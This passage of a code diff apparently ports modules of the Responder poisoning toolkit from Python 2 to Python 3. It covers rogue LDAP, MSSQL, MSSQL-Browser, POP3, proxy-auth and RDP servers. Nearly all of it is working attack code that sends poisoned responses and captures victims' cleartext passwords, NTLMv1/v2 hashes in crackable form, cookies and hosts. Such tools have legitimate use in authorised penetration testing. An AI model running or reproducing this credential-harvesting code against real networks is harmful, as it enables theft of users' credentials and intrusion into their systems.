if sasl == b'\xA3':
|
||||||
Buffer = ParseNTLM(data,client, Challenge)
|
Buffer = ParseNTLM(data,client, Challenge)
|
||||||
return Buffer
|
return Buffer
|
||||||
|
|
||||||
elif Operation == "\x63":
|
elif Operation == b'\x63':
|
||||||
Buffer = ParseSearch(data)
|
Buffer = ParseSearch(data)
|
||||||
return Buffer
|
return Buffer
|
||||||
|
|
||||||
elif settings.Config.Verbose:
|
elif settings.Config.Verbose:
|
||||||
print text('[LDAP] Operation not supported')
|
print(text('[LDAP] Operation not supported'))
|
||||||
|
|
||||||
if data[5:6] == '\x60':
|
if data[5:6] == b'\x60':
|
||||||
UserLen = struct.unpack("<b",data[11:12])[0]
|
UserLen = struct.unpack("<b",data[11:12])[0]
|
||||||
UserString = data[12:12+UserLen]
|
UserString = data[12:12+UserLen].decode('latin-1')
|
||||||
PassLen = struct.unpack("<b",data[12+UserLen+1:12+UserLen+2])[0]
|
PassLen = struct.unpack("<b",data[12+UserLen+1:12+UserLen+2])[0]
|
||||||
PassStr = data[12+UserLen+2:12+UserLen+3+PassLen]
|
PassStr = data[12+UserLen+2:12+UserLen+3+PassLen].decode('latin-1')
|
||||||
if settings.Config.Verbose:
|
if settings.Config.Verbose:
|
||||||
print text('[LDAP] Attempting to parse an old simple Bind request.')
|
print(text('[LDAP] Attempting to parse an old simple Bind request.'))
|
||||||
SaveToDb({
|
SaveToDb({
|
||||||
'module': 'LDAP',
|
'module': 'LDAP',
|
||||||
'type': 'Cleartext',
|
'type': 'Cleartext',
|
||||||
|
@ -147,7 +154,7 @@ class LDAP(BaseRequestHandler):
|
||||||
for x in range(5):
|
for x in range(5):
|
||||||
Buffer = ParseLDAPPacket(data,self.client_address[0], Challenge)
|
Buffer = ParseLDAPPacket(data,self.client_address[0], Challenge)
|
||||||
if Buffer:
|
if Buffer:
|
||||||
self.request.send(Buffer)
|
self.request.send(NetworkSendBufferPython2or3(Buffer))
|
||||||
data = self.request.recv(8092)
|
data = self.request.recv(8092)
|
||||||
except:
|
except:
|
||||||
pass
|
pass
|
||||||
|
|
|
@ -14,11 +14,16 @@
|
||||||
#
|
#
|
||||||
# You should have received a copy of the GNU General Public License
|
# You should have received a copy of the GNU General Public License
|
||||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||||
from SocketServer import BaseRequestHandler
|
|
||||||
from packets import MSSQLPreLoginAnswer, MSSQLNTLMChallengeAnswer
|
|
||||||
from utils import *
|
|
||||||
import random
|
import random
|
||||||
import struct
|
import struct
|
||||||
|
import codecs
|
||||||
|
from utils import *
|
||||||
|
if settings.Config.PY2OR3 is "PY3":
|
||||||
|
from socketserver import BaseRequestHandler
|
||||||
|
else:
|
||||||
|
from SocketServer import BaseRequestHandler
|
||||||
|
from packets import MSSQLPreLoginAnswer, MSSQLNTLMChallengeAnswer
|
||||||
|
|
||||||
|
|
||||||
class TDS_Login_Packet:
|
class TDS_Login_Packet:
|
||||||
def __init__(self, data):
|
def __init__(self, data):
|
||||||
|
@ -41,7 +46,7 @@ class TDS_Login_Packet:
|
||||||
LocaleLen = struct.unpack('<h', data[74:76])[0]
|
LocaleLen = struct.unpack('<h', data[74:76])[0]
|
||||||
DatabaseNameOff = struct.unpack('<h', data[76:78])[0]
|
DatabaseNameOff = struct.unpack('<h', data[76:78])[0]
|
||||||
DatabaseNameLen = struct.unpack('<h', data[78:80])[0]
|
DatabaseNameLen = struct.unpack('<h', data[78:80])[0]
|
||||||
|
data = NetworkRecvBufferPython2or3(data)
|
||||||
self.ClientName = data[8+ClientNameOff:8+ClientNameOff+ClientNameLen*2].replace('\x00', '')
|
self.ClientName = data[8+ClientNameOff:8+ClientNameOff+ClientNameLen*2].replace('\x00', '')
|
||||||
self.UserName = data[8+UserNameOff:8+UserNameOff+UserNameLen*2].replace('\x00', '')
|
self.UserName = data[8+UserNameOff:8+UserNameOff+UserNameLen*2].replace('\x00', '')
|
||||||
self.Password = data[8+PasswordOff:8+PasswordOff+PasswordLen*2].replace('\x00', '')
|
self.Password = data[8+PasswordOff:8+PasswordOff+PasswordLen*2].replace('\x00', '')
|
||||||
|
@ -52,28 +57,26 @@ class TDS_Login_Packet:
|
||||||
self.Locale = data[8+LocaleOff:8+LocaleOff+LocaleLen*2].replace('\x00', '')
|
self.Locale = data[8+LocaleOff:8+LocaleOff+LocaleLen*2].replace('\x00', '')
|
||||||
self.DatabaseName = data[8+DatabaseNameOff:8+DatabaseNameOff+DatabaseNameLen*2].replace('\x00', '')
|
self.DatabaseName = data[8+DatabaseNameOff:8+DatabaseNameOff+DatabaseNameLen*2].replace('\x00', '')
|
||||||
|
|
||||||
|
|
||||||
def ParseSQLHash(data, client, Challenge):
|
def ParseSQLHash(data, client, Challenge):
|
||||||
SSPIStart = data[8:]
|
SSPIStart = data[8:]
|
||||||
|
|
||||||
LMhashLen = struct.unpack('<H',data[20:22])[0]
|
LMhashLen = struct.unpack('<H',data[20:22])[0]
|
||||||
LMhashOffset = struct.unpack('<H',data[24:26])[0]
|
LMhashOffset = struct.unpack('<H',data[24:26])[0]
|
||||||
LMHash = SSPIStart[LMhashOffset:LMhashOffset+LMhashLen].encode("hex").upper()
|
LMHash = SSPIStart[LMhashOffset:LMhashOffset+LMhashLen]
|
||||||
|
LMHash = codecs.encode(LMHash, 'hex').upper().decode('latin-1')
|
||||||
NthashLen = struct.unpack('<H',data[30:32])[0]
|
NthashLen = struct.unpack('<H',data[30:32])[0]
|
||||||
NthashOffset = struct.unpack('<H',data[32:34])[0]
|
NthashOffset = struct.unpack('<H',data[32:34])[0]
|
||||||
NTHash = SSPIStart[NthashOffset:NthashOffset+NthashLen].encode("hex").upper()
|
NTHash = SSPIStart[NthashOffset:NthashOffset+NthashLen]
|
||||||
|
NTHash = codecs.encode(NTHash, 'hex').upper().decode('latin-1')
|
||||||
DomainLen = struct.unpack('<H',data[36:38])[0]
|
DomainLen = struct.unpack('<H',data[36:38])[0]
|
||||||
DomainOffset = struct.unpack('<H',data[40:42])[0]
|
DomainOffset = struct.unpack('<H',data[40:42])[0]
|
||||||
Domain = SSPIStart[DomainOffset:DomainOffset+DomainLen].replace('\x00','')
|
Domain = SSPIStart[DomainOffset:DomainOffset+DomainLen].decode('UTF-16LE')
|
||||||
|
|
||||||
UserLen = struct.unpack('<H',data[44:46])[0]
|
UserLen = struct.unpack('<H',data[44:46])[0]
|
||||||
UserOffset = struct.unpack('<H',data[48:50])[0]
|
UserOffset = struct.unpack('<H',data[48:50])[0]
|
||||||
User = SSPIStart[UserOffset:UserOffset+UserLen].replace('\x00','')
|
User = SSPIStart[UserOffset:UserOffset+UserLen].decode('UTF-16LE')
|
||||||
|
|
||||||
if NthashLen == 24:
|
if NthashLen == 24:
|
||||||
WriteHash = '%s::%s:%s:%s:%s' % (User, Domain, LMHash, NTHash, Challenge.encode('hex'))
|
WriteHash = '%s::%s:%s:%s:%s' % (User, Domain, LMHash, NTHash, codecs.encode(Challenge,'hex').decode('latin-1'))
|
||||||
|
|
||||||
SaveToDb({
|
SaveToDb({
|
||||||
'module': 'MSSQL',
|
'module': 'MSSQL',
|
||||||
|
@ -85,7 +88,7 @@ def ParseSQLHash(data, client, Challenge):
|
||||||
})
|
})
|
||||||
|
|
||||||
if NthashLen > 60:
|
if NthashLen > 60:
|
||||||
WriteHash = '%s::%s:%s:%s:%s' % (User, Domain, Challenge.encode('hex'), NTHash[:32], NTHash[32:])
|
WriteHash = '%s::%s:%s:%s:%s' % (User, Domain, codecs.encode(Challenge,'hex').decode('latin-1'), NTHash[:32], NTHash[32:])
|
||||||
|
|
||||||
SaveToDb({
|
SaveToDb({
|
||||||
'module': 'MSSQL',
|
'module': 'MSSQL',
|
||||||
|
@ -99,10 +102,10 @@ def ParseSQLHash(data, client, Challenge):
|
||||||
|
|
||||||
def ParseSqlClearTxtPwd(Pwd):
|
def ParseSqlClearTxtPwd(Pwd):
|
||||||
Pwd = map(ord,Pwd.replace('\xa5',''))
|
Pwd = map(ord,Pwd.replace('\xa5',''))
|
||||||
Pw = ''
|
Pw = b''
|
||||||
for x in Pwd:
|
for x in Pwd:
|
||||||
Pw += hex(x ^ 0xa5)[::-1][:2].replace("x", "0").decode('hex')
|
Pw += codecs.decode(hex(x ^ 0xa5)[::-1][:2].replace("x", "0"), 'hex')
|
||||||
return Pw
|
return Pw.decode('latin-1')
|
||||||
|
|
||||||
|
|
||||||
def ParseClearTextSQLPass(data, client):
|
def ParseClearTextSQLPass(data, client):
|
||||||
|
@ -122,27 +125,32 @@ class MSSQL(BaseRequestHandler):
|
||||||
def handle(self):
|
def handle(self):
|
||||||
|
|
||||||
try:
|
try:
|
||||||
|
self.ntry = 0
|
||||||
|
while True:
|
||||||
data = self.request.recv(1024)
|
data = self.request.recv(1024)
|
||||||
if settings.Config.Verbose:
|
self.request.settimeout(1)
|
||||||
print text("[MSSQL] Received connection from %s" % self.client_address[0])
|
|
||||||
|
|
||||||
if data[0] == "\x12": # Pre-Login Message
|
|
||||||
Buffer = str(MSSQLPreLoginAnswer())
|
|
||||||
self.request.send(Buffer)
|
|
||||||
data = self.request.recv(1024)
|
|
||||||
|
|
||||||
if data[0] == "\x10": # NegoSSP
|
|
||||||
if re.search("NTLMSSP",data):
|
|
||||||
Challenge = RandomChallenge()
|
Challenge = RandomChallenge()
|
||||||
Packet = MSSQLNTLMChallengeAnswer(ServerChallenge=Challenge)
|
|
||||||
|
if not data:
|
||||||
|
break
|
||||||
|
if settings.Config.Verbose:
|
||||||
|
print(text("[MSSQL] Received connection from %s" % self.client_address[0]))
|
||||||
|
if data[0] == b"\x12" or data[0] == 18: # Pre-Login Message
|
||||||
|
Buffer = str(MSSQLPreLoginAnswer())
|
||||||
|
self.request.send(NetworkSendBufferPython2or3(Buffer))
|
||||||
|
data = self.request.recv(1024)
|
||||||
|
|
||||||
|
if data[0] == b"\x10" or data[0] == 16: # NegoSSP
|
||||||
|
if re.search(b'NTLMSSP',data):
|
||||||
|
Packet = MSSQLNTLMChallengeAnswer(ServerChallenge=NetworkRecvBufferPython2or3(Challenge))
|
||||||
Packet.calculate()
|
Packet.calculate()
|
||||||
Buffer = str(Packet)
|
Buffer = str(Packet)
|
||||||
self.request.send(Buffer)
|
self.request.send(NetworkSendBufferPython2or3(Buffer))
|
||||||
data = self.request.recv(1024)
|
data = self.request.recv(1024)
|
||||||
else:
|
else:
|
||||||
ParseClearTextSQLPass(data,self.client_address[0])
|
ParseClearTextSQLPass(data,self.client_address[0])
|
||||||
|
|
||||||
if data[0] == "\x11": # NegoSSP Auth
|
if data[0] == b'\x11' or data[0] == 17: # NegoSSP Auth
|
||||||
ParseSQLHash(data,self.client_address[0],Challenge)
|
ParseSQLHash(data,self.client_address[0],Challenge)
|
||||||
|
|
||||||
except:
|
except:
|
||||||
|
@ -153,26 +161,26 @@ class MSSQL(BaseRequestHandler):
|
||||||
class MSSQLBrowser(BaseRequestHandler):
|
class MSSQLBrowser(BaseRequestHandler):
|
||||||
def handle(self):
|
def handle(self):
|
||||||
if settings.Config.Verbose:
|
if settings.Config.Verbose:
|
||||||
print text("[MSSQL-BROWSER] Received request from %s" % self.client_address[0])
|
print(text("[MSSQL-BROWSER] Received request from %s" % self.client_address[0]))
|
||||||
|
|
||||||
data, soc = self.request
|
data, soc = self.request
|
||||||
|
|
||||||
if data:
|
if data:
|
||||||
if data[0] in "\x02\x03": # CLNT_BCAST_EX / CLNT_UCAST_EX
|
if data[0] in b'\x02\x03': # CLNT_BCAST_EX / CLNT_UCAST_EX
|
||||||
self.send_response(soc, "MSSQLSERVER")
|
self.send_response(soc, "MSSQLSERVER")
|
||||||
elif data[0] == "\x04": # CLNT_UCAST_INST
|
elif data[0] == b'\x04': # CLNT_UCAST_INST
|
||||||
self.send_response(soc, data[1:].rstrip("\x00"))
|
self.send_response(soc, data[1:].rstrip("\x00"))
|
||||||
elif data[0] == "\x0F": # CLNT_UCAST_DAC
|
elif data[0] == b'\x0F': # CLNT_UCAST_DAC
|
||||||
self.send_dac_response(soc)
|
self.send_dac_response(soc)
|
||||||
|
|
||||||
def send_response(self, soc, inst):
|
def send_response(self, soc, inst):
|
||||||
print text("[MSSQL-BROWSER] Sending poisoned response to %s" % self.client_address[0])
|
print(text("[MSSQL-BROWSER] Sending poisoned response to %s" % self.client_address[0]))
|
||||||
|
|
||||||
server_name = ''.join(chr(random.randint(ord('A'), ord('Z'))) for _ in range(random.randint(12, 20)))
|
server_name = ''.join(chr(random.randint(ord('A'), ord('Z'))) for _ in range(random.randint(12, 20)))
|
||||||
resp = "ServerName;%s;InstanceName;%s;IsClustered;No;Version;12.00.4100.00;tcp;1433;;" % (server_name, inst)
|
resp = "ServerName;%s;InstanceName;%s;IsClustered;No;Version;12.00.4100.00;tcp;1433;;" % (server_name, inst)
|
||||||
soc.sendto(struct.pack("<BH", 0x05, len(resp)) + resp, self.client_address)
|
soc.sendto(struct.pack("<BH", 0x05, len(resp)) + NetworkSendBufferPython2or3(resp), self.client_address)
|
||||||
|
|
||||||
def send_dac_response(self, soc):
|
def send_dac_response(self, soc):
|
||||||
print text("[MSSQL-BROWSER] Sending poisoned DAC response to %s" % self.client_address[0])
|
print(text("[MSSQL-BROWSER] Sending poisoned DAC response to %s" % self.client_address[0]))
|
||||||
|
|
||||||
soc.sendto(struct.pack("<BHBH", 0x05, 0x06, 0x01, 1433), self.client_address)
|
soc.sendto(NetworkSendBufferPython2or3(struct.pack("<BHBH", 0x05, 0x06, 0x01, 1433)), self.client_address)
|
||||||
|
|
|
@ -15,25 +15,33 @@
|
||||||
# You should have received a copy of the GNU General Public License
|
# You should have received a copy of the GNU General Public License
|
||||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||||
from utils import *
|
from utils import *
|
||||||
|
if settings.Config.PY2OR3 is "PY3":
|
||||||
|
from socketserver import BaseRequestHandler
|
||||||
|
else:
|
||||||
from SocketServer import BaseRequestHandler
|
from SocketServer import BaseRequestHandler
|
||||||
from packets import POPOKPacket
|
from packets import POPOKPacket,POPNotOKPacket
|
||||||
|
|
||||||
# POP3 Server class
|
# POP3 Server class
|
||||||
class POP3(BaseRequestHandler):
|
class POP3(BaseRequestHandler):
|
||||||
def SendPacketAndRead(self):
|
def SendPacketAndRead(self):
|
||||||
Packet = POPOKPacket()
|
Packet = POPOKPacket()
|
||||||
self.request.send(str(Packet))
|
self.request.send(NetworkSendBufferPython2or3(Packet))
|
||||||
return self.request.recv(1024)
|
return self.request.recv(1024)
|
||||||
|
|
||||||
def handle(self):
|
def handle(self):
|
||||||
try:
|
try:
|
||||||
data = self.SendPacketAndRead()
|
data = self.SendPacketAndRead()
|
||||||
|
if data[0:4] == b'CAPA':
|
||||||
if data[0:4] == "USER":
|
self.request.send(NetworkSendBufferPython2or3(POPNotOKPacket()))
|
||||||
User = data[5:].replace("\r\n","")
|
data = self.request.recv(1024)
|
||||||
|
if data[0:4] == b'AUTH':
|
||||||
|
self.request.send(NetworkSendBufferPython2or3(POPNotOKPacket()))
|
||||||
|
data = self.request.recv(1024)
|
||||||
|
if data[0:4] == b'USER':
|
||||||
|
User = data[5:].strip(b"\r\n").decode("latin-1")
|
||||||
data = self.SendPacketAndRead()
|
data = self.SendPacketAndRead()
|
||||||
if data[0:4] == "PASS":
|
if data[0:4] == b'PASS':
|
||||||
Pass = data[5:].replace("\r\n","")
|
Pass = data[5:].strip(b"\r\n").decode("latin-1")
|
||||||
|
|
||||||
SaveToDb({
|
SaveToDb({
|
||||||
'module': 'POP3',
|
'module': 'POP3',
|
||||||
|
|
|
@ -14,15 +14,18 @@
|
||||||
#
|
#
|
||||||
# You should have received a copy of the GNU General Public License
|
# You should have received a copy of the GNU General Public License
|
||||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||||
import SocketServer
|
|
||||||
from HTTP import ParseHTTPHash
|
|
||||||
from packets import *
|
|
||||||
from utils import *
|
from utils import *
|
||||||
|
if settings.Config.PY2OR3 is "PY3":
|
||||||
|
from socketserver import BaseRequestHandler, StreamRequestHandler
|
||||||
|
else:
|
||||||
|
from SocketServer import BaseRequestHandler, StreamRequestHandler
|
||||||
|
from servers.HTTP import ParseHTTPHash
|
||||||
|
from packets import *
|
||||||
|
|
||||||
def GrabUserAgent(data):
|
def GrabUserAgent(data):
|
||||||
UserAgent = re.findall(r'(?<=User-Agent: )[^\r]*', data)
|
UserAgent = re.findall(r'(?<=User-Agent: )[^\r]*', data)
|
||||||
if UserAgent:
|
if UserAgent:
|
||||||
print text("[Proxy-Auth] %s" % color("User-Agent : "+UserAgent[0], 2))
|
print(text("[Proxy-Auth] %s" % color("User-Agent : "+UserAgent[0], 2)))
|
||||||
|
|
||||||
def GrabCookie(data):
|
def GrabCookie(data):
|
||||||
Cookie = re.search(r'(Cookie:*.\=*)[^\r\n]*', data)
|
Cookie = re.search(r'(Cookie:*.\=*)[^\r\n]*', data)
|
||||||
|
@ -31,7 +34,7 @@ def GrabCookie(data):
|
||||||
Cookie = Cookie.group(0).replace('Cookie: ', '')
|
Cookie = Cookie.group(0).replace('Cookie: ', '')
|
||||||
if len(Cookie) > 1:
|
if len(Cookie) > 1:
|
||||||
if settings.Config.Verbose:
|
if settings.Config.Verbose:
|
||||||
print text("[Proxy-Auth] %s" % color("Cookie : "+Cookie, 2))
|
print(text("[Proxy-Auth] %s" % color("Cookie : "+Cookie, 2)))
|
||||||
|
|
||||||
return Cookie
|
return Cookie
|
||||||
return False
|
return False
|
||||||
|
@ -42,7 +45,7 @@ def GrabHost(data):
|
||||||
if Host:
|
if Host:
|
||||||
Host = Host.group(0).replace('Host: ', '')
|
Host = Host.group(0).replace('Host: ', '')
|
||||||
if settings.Config.Verbose:
|
if settings.Config.Verbose:
|
||||||
print text("[Proxy-Auth] %s" % color("Host : "+Host, 2))
|
print(text("[Proxy-Auth] %s" % color("Host : "+Host, 2)))
|
||||||
|
|
||||||
return Host
|
return Host
|
||||||
return False
|
return False
|
||||||
|
@ -52,22 +55,21 @@ def PacketSequence(data, client, Challenge):
|
||||||
Basic_Auth = re.findall(r'(?<=Authorization: Basic )[^\r]*', data)
|
Basic_Auth = re.findall(r'(?<=Authorization: Basic )[^\r]*', data)
|
||||||
if NTLM_Auth:
|
if NTLM_Auth:
|
||||||
Packet_NTLM = b64decode(''.join(NTLM_Auth))[8:9]
|
Packet_NTLM = b64decode(''.join(NTLM_Auth))[8:9]
|
||||||
if Packet_NTLM == "\x01":
|
if Packet_NTLM == b'\x01':
|
||||||
if settings.Config.Verbose:
|
if settings.Config.Verbose:
|
||||||
print text("[Proxy-Auth] Sending NTLM authentication request to %s" % client)
|
print(text("[Proxy-Auth] Sending NTLM authentication request to %s" % client))
|
||||||
|
Buffer = NTLM_Challenge(ServerChallenge=NetworkRecvBufferPython2or3(Challenge))
|
||||||
Buffer = NTLM_Challenge(ServerChallenge=Challenge)
|
|
||||||
Buffer.calculate()
|
Buffer.calculate()
|
||||||
Buffer_Ans = WPAD_NTLM_Challenge_Ans()
|
Buffer_Ans = WPAD_NTLM_Challenge_Ans(Payload = b64encode(NetworkSendBufferPython2or3(Buffer)).decode('latin-1'))
|
||||||
Buffer_Ans.calculate(str(Buffer))
|
return Buffer_Ans
|
||||||
return str(Buffer_Ans)
|
|
||||||
if Packet_NTLM == "\x03":
|
if Packet_NTLM == b'\x03':
|
||||||
NTLM_Auth = b64decode(''.join(NTLM_Auth))
|
NTLM_Auth = b64decode(''.join(NTLM_Auth))
|
||||||
ParseHTTPHash(NTLM_Auth, Challenge, client, "Proxy-Auth")
|
ParseHTTPHash(NTLM_Auth, Challenge, client, "Proxy-Auth")
|
||||||
GrabUserAgent(data)
|
GrabUserAgent(data)
|
||||||
GrabCookie(data)
|
GrabCookie(data)
|
||||||
GrabHost(data)
|
GrabHost(data)
|
||||||
return False #Send a RST with SO_LINGER when close() is called (see Responder.py)
|
return False
|
||||||
else:
|
else:
|
||||||
return False
|
return False
|
||||||
|
|
||||||
|
@ -75,13 +77,13 @@ def PacketSequence(data, client, Challenge):
|
||||||
GrabUserAgent(data)
|
GrabUserAgent(data)
|
||||||
GrabCookie(data)
|
GrabCookie(data)
|
||||||
GrabHost(data)
|
GrabHost(data)
|
||||||
ClearText_Auth = b64decode(''.join(Basic_Auth))
|
ClearText_Auth = b64decode(''.join(Basic_Auth).encode('latin-1'))
|
||||||
SaveToDb({
|
SaveToDb({
|
||||||
'module': 'Proxy-Auth',
|
'module': 'Proxy-Auth',
|
||||||
'type': 'Basic',
|
'type': 'Basic',
|
||||||
'client': client,
|
'client': client,
|
||||||
'user': ClearText_Auth.split(':')[0],
|
'user': ClearText_Auth.decode('latin-1').split(':')[0],
|
||||||
'cleartext': ClearText_Auth.split(':')[1],
|
'cleartext': ClearText_Auth.decode('latin-1').split(':')[1],
|
||||||
})
|
})
|
||||||
|
|
||||||
return False
|
return False
|
||||||
|
@ -89,22 +91,49 @@ def PacketSequence(data, client, Challenge):
|
||||||
if settings.Config.Basic:
|
if settings.Config.Basic:
|
||||||
Response = WPAD_Basic_407_Ans()
|
Response = WPAD_Basic_407_Ans()
|
||||||
if settings.Config.Verbose:
|
if settings.Config.Verbose:
|
||||||
print text("[Proxy-Auth] Sending BASIC authentication request to %s" % client)
|
print(text("[Proxy-Auth] Sending BASIC authentication request to %s" % client))
|
||||||
|
|
||||||
else:
|
else:
|
||||||
Response = WPAD_Auth_407_Ans()
|
Response = WPAD_Auth_407_Ans()
|
||||||
|
|
||||||
return str(Response)
|
return str(Response)
|
||||||
|
|
||||||
class Proxy_Auth(SocketServer.BaseRequestHandler):
|
class Proxy_Auth(BaseRequestHandler):
|
||||||
|
|
||||||
|
|
||||||
def handle(self):
|
def handle(self):
|
||||||
try:
|
try:
|
||||||
Challenge = RandomChallenge()
|
Challenge = RandomChallenge()
|
||||||
for x in range(2):
|
while True:
|
||||||
data = self.request.recv(4096)
|
self.request.settimeout(3)
|
||||||
self.request.send(PacketSequence(data, self.client_address[0], Challenge))
|
remaining = 10*1024*1024 #setting max recieve size
|
||||||
|
data = ''
|
||||||
|
while True:
|
||||||
|
buff = ''
|
||||||
|
buff = NetworkRecvBufferPython2or3(self.request.recv(8092))
|
||||||
|
if buff == '':
|
||||||
|
break
|
||||||
|
data += buff
|
||||||
|
remaining -= len(buff)
|
||||||
|
#check if we recieved the full header
|
||||||
|
if data.find('\r\n\r\n') != -1:
|
||||||
|
#we did, now to check if there was anything else in the request besides the header
|
||||||
|
if data.find('Content-Length') == -1:
|
||||||
|
#request contains only header
|
||||||
|
break
|
||||||
|
else:
|
||||||
|
#searching for that content-length field in the header
|
||||||
|
for line in data.split('\r\n'):
|
||||||
|
if line.find('Content-Length') != -1:
|
||||||
|
line = line.strip()
|
||||||
|
remaining = int(line.split(':')[1].strip()) - len(data)
|
||||||
|
if remaining <= 0:
|
||||||
|
break
|
||||||
|
if data == "":
|
||||||
|
break
|
||||||
|
|
||||||
|
else:
|
||||||
|
Buffer = PacketSequence(data,self.client_address[0], Challenge)
|
||||||
|
self.request.send(NetworkSendBufferPython2or3(Buffer))
|
||||||
|
|
||||||
except:
|
except:
|
||||||
pass
|
pass
|
||||||
|
|
|
@ -14,71 +14,79 @@
|
||||||
#
|
#
|
||||||
# You should have received a copy of the GNU General Public License
|
# You should have received a copy of the GNU General Public License
|
||||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||||
from SocketServer import BaseRequestHandler
|
|
||||||
from utils import *
|
from utils import *
|
||||||
from packets import TPKT, X224, RDPNEGOAnswer, RDPNTLMChallengeAnswer
|
|
||||||
import struct
|
import struct
|
||||||
import re
|
import re
|
||||||
import ssl
|
import ssl
|
||||||
|
import codecs
|
||||||
|
if settings.Config.PY2OR3 is "PY3":
|
||||||
|
from socketserver import BaseRequestHandler
|
||||||
|
else:
|
||||||
|
from SocketServer import BaseRequestHandler
|
||||||
|
|
||||||
|
from packets import TPKT, X224, RDPNEGOAnswer, RDPNTLMChallengeAnswer
|
||||||
|
|
||||||
cert = os.path.join(settings.Config.ResponderPATH, settings.Config.SSLCert)
|
cert = os.path.join(settings.Config.ResponderPATH, settings.Config.SSLCert)
|
||||||
key = os.path.join(settings.Config.ResponderPATH, settings.Config.SSLKey)
|
key = os.path.join(settings.Config.ResponderPATH, settings.Config.SSLKey)
|
||||||
|
|
||||||
def ParseNTLMHash(data,client, Challenge): #Parse NTLMSSP v1/v2
|
def ParseNTLMHash(data,client, Challenge): #Parse NTLMSSP v1/v2
|
||||||
SSPIStart = data.find('NTLMSSP')
|
SSPIStart = data.find(b'NTLMSSP')
|
||||||
SSPIString = data[SSPIStart:]
|
SSPIString = data[SSPIStart:]
|
||||||
LMhashLen = struct.unpack('<H',data[SSPIStart+14:SSPIStart+16])[0]
|
LMhashLen = struct.unpack('<H',data[SSPIStart+14:SSPIStart+16])[0]
|
||||||
LMhashOffset = struct.unpack('<H',data[SSPIStart+16:SSPIStart+18])[0]
|
LMhashOffset = struct.unpack('<H',data[SSPIStart+16:SSPIStart+18])[0]
|
||||||
LMHash = SSPIString[LMhashOffset:LMhashOffset+LMhashLen].encode("hex").upper()
|
LMHash = SSPIString[LMhashOffset:LMhashOffset+LMhashLen]
|
||||||
|
LMHash = codecs.encode(LMHash, 'hex').upper().decode('latin-1')
|
||||||
NthashLen = struct.unpack('<H',data[SSPIStart+20:SSPIStart+22])[0]
|
NthashLen = struct.unpack('<H',data[SSPIStart+20:SSPIStart+22])[0]
|
||||||
NthashOffset = struct.unpack('<H',data[SSPIStart+24:SSPIStart+26])[0]
|
NthashOffset = struct.unpack('<H',data[SSPIStart+24:SSPIStart+26])[0]
|
||||||
|
|
||||||
if NthashLen == 24:
|
if NthashLen == 24:
|
||||||
NTLMHash = SSPIString[NthashOffset:NthashOffset+NthashLen].encode("hex").upper()
|
SMBHash = SSPIString[NthashOffset:NthashOffset+NthashLen]
|
||||||
|
SMBHash = codecs.encode(SMBHash, 'hex').upper().decode('latin-1')
|
||||||
DomainLen = struct.unpack('<H',SSPIString[30:32])[0]
|
DomainLen = struct.unpack('<H',SSPIString[30:32])[0]
|
||||||
DomainOffset = struct.unpack('<H',SSPIString[32:34])[0]
|
DomainOffset = struct.unpack('<H',SSPIString[32:34])[0]
|
||||||
Domain = SSPIString[DomainOffset:DomainOffset+DomainLen].decode('UTF-16LE')
|
Domain = SSPIString[DomainOffset:DomainOffset+DomainLen].decode('UTF-16LE')
|
||||||
UserLen = struct.unpack('<H',SSPIString[38:40])[0]
|
UserLen = struct.unpack('<H',SSPIString[38:40])[0]
|
||||||
UserOffset = struct.unpack('<H',SSPIString[40:42])[0]
|
UserOffset = struct.unpack('<H',SSPIString[40:42])[0]
|
||||||
Username = SSPIString[UserOffset:UserOffset+UserLen].decode('UTF-16LE')
|
Username = SSPIString[UserOffset:UserOffset+UserLen].decode('UTF-16LE')
|
||||||
WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, LMHash, NTLMHash, Challenge.encode('hex'))
|
WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, LMHash, SMBHash, codecs.encode(Challenge,'hex').decode('latin-1'))
|
||||||
|
|
||||||
SaveToDb({
|
SaveToDb({
|
||||||
'module': 'RDP',
|
'module': 'RDP',
|
||||||
'type': 'NTLMv1-SSP',
|
'type': 'NTLMv1-SSP',
|
||||||
'client': client,
|
'client': client,
|
||||||
'user': Domain+'\\'+Username,
|
'user': Domain+'\\'+Username,
|
||||||
'hash': NTLMHash,
|
'hash': SMBHash,
|
||||||
'fullhash': WriteHash,
|
'fullhash': WriteHash,
|
||||||
})
|
})
|
||||||
|
|
||||||
if NthashLen > 60:
|
if NthashLen > 60:
|
||||||
NTLMHash = SSPIString[NthashOffset:NthashOffset+NthashLen].encode("hex").upper()
|
SMBHash = SSPIString[NthashOffset:NthashOffset+NthashLen]
|
||||||
|
SMBHash = codecs.encode(SMBHash, 'hex').upper().decode('latin-1')
|
||||||
DomainLen = struct.unpack('<H',SSPIString[30:32])[0]
|
DomainLen = struct.unpack('<H',SSPIString[30:32])[0]
|
||||||
DomainOffset = struct.unpack('<H',SSPIString[32:34])[0]
|
DomainOffset = struct.unpack('<H',SSPIString[32:34])[0]
|
||||||
Domain = SSPIString[DomainOffset:DomainOffset+DomainLen].decode('UTF-16LE')
|
Domain = SSPIString[DomainOffset:DomainOffset+DomainLen].decode('UTF-16LE')
|
||||||
UserLen = struct.unpack('<H',SSPIString[38:40])[0]
|
UserLen = struct.unpack('<H',SSPIString[38:40])[0]
|
||||||
UserOffset = struct.unpack('<H',SSPIString[40:42])[0]
|
UserOffset = struct.unpack('<H',SSPIString[40:42])[0]
|
||||||
Username = SSPIString[UserOffset:UserOffset+UserLen].decode('UTF-16LE')
|
Username = SSPIString[UserOffset:UserOffset+UserLen].decode('UTF-16LE')
|
||||||
WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, Challenge.encode('hex'), NTLMHash[:32], NTLMHash[32:])
|
WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, codecs.encode(Challenge,'hex').decode('latin-1'), SMBHash[:32], SMBHash[32:])
|
||||||
|
|
||||||
SaveToDb({
|
SaveToDb({
|
||||||
'module': 'RDP',
|
'module': 'RDP',
|
||||||
'type': 'NTLMv2-SSP',
|
'type': 'NTLMv2-SSP',
|
||||||
'client': client,
|
'client': client,
|
||||||
'user': Domain+'\\'+Username,
|
'user': Domain+'\\'+Username,
|
||||||
'hash': NTLMHash,
|
'hash': SMBHash,
|
||||||
